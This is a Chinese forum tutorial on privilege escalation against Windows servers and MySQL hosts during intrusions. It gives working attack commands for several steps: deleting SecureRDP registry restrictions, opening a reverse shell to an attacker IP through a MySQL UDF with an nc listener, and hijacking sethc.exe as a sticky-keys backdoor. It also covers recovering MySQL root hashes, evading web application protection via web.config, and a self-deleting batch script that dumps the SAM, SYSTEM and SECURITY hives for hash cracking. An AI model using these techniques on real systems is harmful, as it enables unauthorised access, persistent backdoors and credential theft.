首页 > 技术文章 > 对症下药 – 疑难杂症之提权技术

ichunqiu 2016-08-13 17:37 原文

社区:i春秋
时间:2016年8月13日14.00
作者:Binghe

 

 
前言
经常会有一些基友求提权,那么其实提权的手法也就那些,主要是细心和耐心,我记得‘七百斤的猴子’大表哥他整理过大概的提权技术,虽不是很全面,但很详细。
 
 
 
本文简介
渗透测试的环境千变万化,经常或遇到各种瓶颈,那么小编今天就自己的经验,来说说如何治疗那些提权中的疑难杂症。
 



目录
个人经验有限,暂时只列举下文例子
  • 0x01 安全软件限制远程连接
  • 0x02 udfcmdshell执行出错
  • 0x03 黑阔来过并做了服务器权限
  • 0x04 os-shell无回显状态
  • 0x05 存在mysql服务但找不到root密码且无法通过MYD文件拼凑出hash
  • 0x06 杀软防护一全套 毫无头绪
  • 0x07 提权虚拟主机但本站不支持aspx
 
正文
来,骚年,先喝下这罐82年的珍藏版乐事,变身老中医,专治各种疑难杂症

 

 

  • 0x01 安全软件限制远程连接

 

连接终端服务经常遇到这样的情况

 

 

此为SecureRDP软件的限制策略,国内有些主机商用的较多。经分析可知软件通过修改注册表键值来限制用户登录,于是乎解决办法不言而喻。
 
#读取注册表值:
reg query "HKEY_LOCAL_MACHINE\Software\Terminalsoft\WTSFilter" /v tsdata
 
#备份导出注册表项:
regedit /e d:\freehost\jiqiren\web\Editor\js\wts.reg "HKEY_LOCAL_MACHINE\Software\Terminalsoft\WTSFilter"
 
#删除注册表项:
reg delete "HKEY_LOCAL_MACHINE\Software\Terminalsoft\WTSFilter" /va /f
再连接 ok
 



  • 0x02 udfcmdshell执行出错

 

udf提权,创建cmdshell函数成功,
 
select * from mysql.func;
存在cmdshell
执行cmd出现错误,原因不明,但已经研究出解决办法
udf不只有cmdshell一个函数:
  • 1:Backshell
create function backshell returns string soname 'udf.dll';
本地监听
 
nc.exe -l -p -vv 51
远程反弹
 
select backshell('yourip',51);
  • 2:downloader函数下载木马或者什么东西到启动项
这个不必多言
  • 3:regwrite来劫持sethc
创建函数
 
Create Function regwrite returns string soname 'udf.dll';
劫持sethc
 
select regwrite(“HKEY_LOCAL_MACHINE”,”SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe”,”debugger”,”REG_SZ”,”C:\\recycler\\cmd.exe”);
登录界面5次shift弹出cmd

 

  • 0x03 黑阔来过并做了服务器权限
亲身经历:getshell后各种提不下
忽然发现有黑阔安装了伪装的后门
 

 



既有shell,c:\windows\system32\  目录虽不可上传修改,但可访问,当然可以下载,shift后门的原理我们都知道是替换的system32目录的sethc.exe
于是乎下载sethc,OD爆菊之
 



原来是他,军师黑阔,别来无恙乎?

 

 

  • 0x04  os-shell无回显状态
亲身经历:无回显且命令执行不成功,菜刀可执行但权限不够且无法溢出

 

 

  无回显状态下上图选项输入no ,虽然无回显但命令已经运行

 



  • 0x05 存在mysql服务但找不到root密码且无法通过MYD文件拼凑出hash

 

解决办法:
本地搭建mysql,先停止本地mysql服务
将下载的user.MYDuser.frm   user.MYI替换本地文件,然后
 
cd mysqlbin
mysqld-nt –skip-grant-tables
重新打开一个cmd
 
1
2
mysql -u root
select user,password from mysql.user;

 

 
  • 0x06 提权虚拟主机但本站不支持aspx
虚拟主机一般别妄想通过asp或php调用wscript.shell组件,但是.net可以直接执行cmd
虚拟主机支持各种脚本,但我们拿到的shell不支持aspx
 

 

 



解决办法:
先备份根目录web.config  在全部替换成这样
 
1
2
3
4
5
<configuration>
      <system.web>
            <customErrors mode=”Off”/>
      </system.web>
</configuration>
 
再试试   看来是行了 但是有狗
 

 

 
包含可以过
 
<!–#include file=”4.aspx” –>

 

 

于是可以执行命令

 

  • 0x07 杀软防护一全套 毫无头绪

 

system权限了 由于各种防护提不下服务器的情况很多
有时候我们想到getpass和mimikatz之类的工具来读明文
但仍有 360 安全狗之类的 各种阻止
解决方案:导出注册表破解hash
写个批处理导出sam
 
1
2
3
4
5
@echo off
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
del %0
这个不会有杀软拦截
webshell下执行批处理,这便在批处理的目录生成了三个文件
然后我们使用CAIN打开保存到的system.hive和security.hive两个文件。
 
 


加载后我们可以看到一些信息,这些信息可能会有明文密码,我这里是没有的。

 
 
 
如果没有我们就需要抓HASH了。点击CAIN的Cracker选项卡,加载sam.hive文件。

 

 
 
 
 
使用cain破解方式,确实是可以的,但是需要自己用彩虹表,就比较麻烦了,还是让在线的网站跑hash吧。关于hash注入,在取得hash的时候使用wce-s这个命令,一般情况这个hash都可以破解,超过14位的话就比较麻烦了。空密码的开头是AAD这个就不用破解了。密文类型是NTLM,推荐在线解密的网站:
http://www.objectif-securite.ch/ophcrack.php
http://www.cmd5.com/

 

结语:
实际情况千变万化,哪里有真正的总结。兵来将挡,水来土掩,如有问题可发到论坛讨论。
 
 
来自:http://bbs.ichunqiu.com/thread-10038-1-1.html

推荐阅读